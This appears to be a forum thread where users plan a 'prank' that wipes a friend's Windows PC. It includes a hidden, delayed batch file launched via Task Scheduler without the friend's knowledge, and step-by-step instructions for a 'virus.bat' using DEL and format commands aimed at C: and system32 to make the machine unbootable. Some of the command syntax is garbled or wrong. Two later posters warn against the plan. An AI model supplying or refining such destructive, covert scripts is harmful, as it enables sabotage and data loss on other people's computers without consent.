[Rehan]

I think this will work.

"
format B: /q /autotest

"

I am not going to tell him i will just hide the file in a deep folder and will start it with task schedule after 1 day. That is best.

is not there anyway to test it online

---

1. open NOTEPAD

2. Fill With This Code

@echo off
DEL C: -Y

3. Save As All Files And Name With virus.bat

4. Run  

<!> Don't Forget to Backup All Fill your friend's PC before running this script or you can die being thrown by your friend

Are you sure it will not require any further click? Are you sure it will delete the partition running the windows?
As @rudra said, i think a file will not delete the partition running windows itself.

[rudra]

you could just use virtualbox to test it you know. it was just an assumption on my part.

[chanalku91]

I think this will work.

"
format B: /q /autotest

"

I am not going to tell him i will just hide the file in a deep folder and will start it with task schedule after 1 day. That is best.

is not there anyway to test it online

---

Are you sure it will not require any further click? Are you sure it will delete the partition running the windows?
As @rudra said, i think a file will not delete the partition running windows itself.

You only need to run this script and in a few seconds your computer will Error and can't boot

@echo off
DEL C:Windows/system32 -Y

[tiwil]

But may be you should be careful about his personal files on C.

This is true, that's why I'm worrying why OP wants to prank his friends OS. Not all people save their file in other partition, some users also use only one partition. You gotta be careful with your friends data.

[sagher]

@Rehan my childhood memories were refresh to see your post. i ll do it many times in my school life. a pop-up message that "your PC was hacked" with the skeleton of danger was appear. also a very famous yahoo chat scandal virus message. which was a simple file to copy in any Computer Lab system sharing folder. that's it. but now we grown up and you also please don't do that. it's really hurting.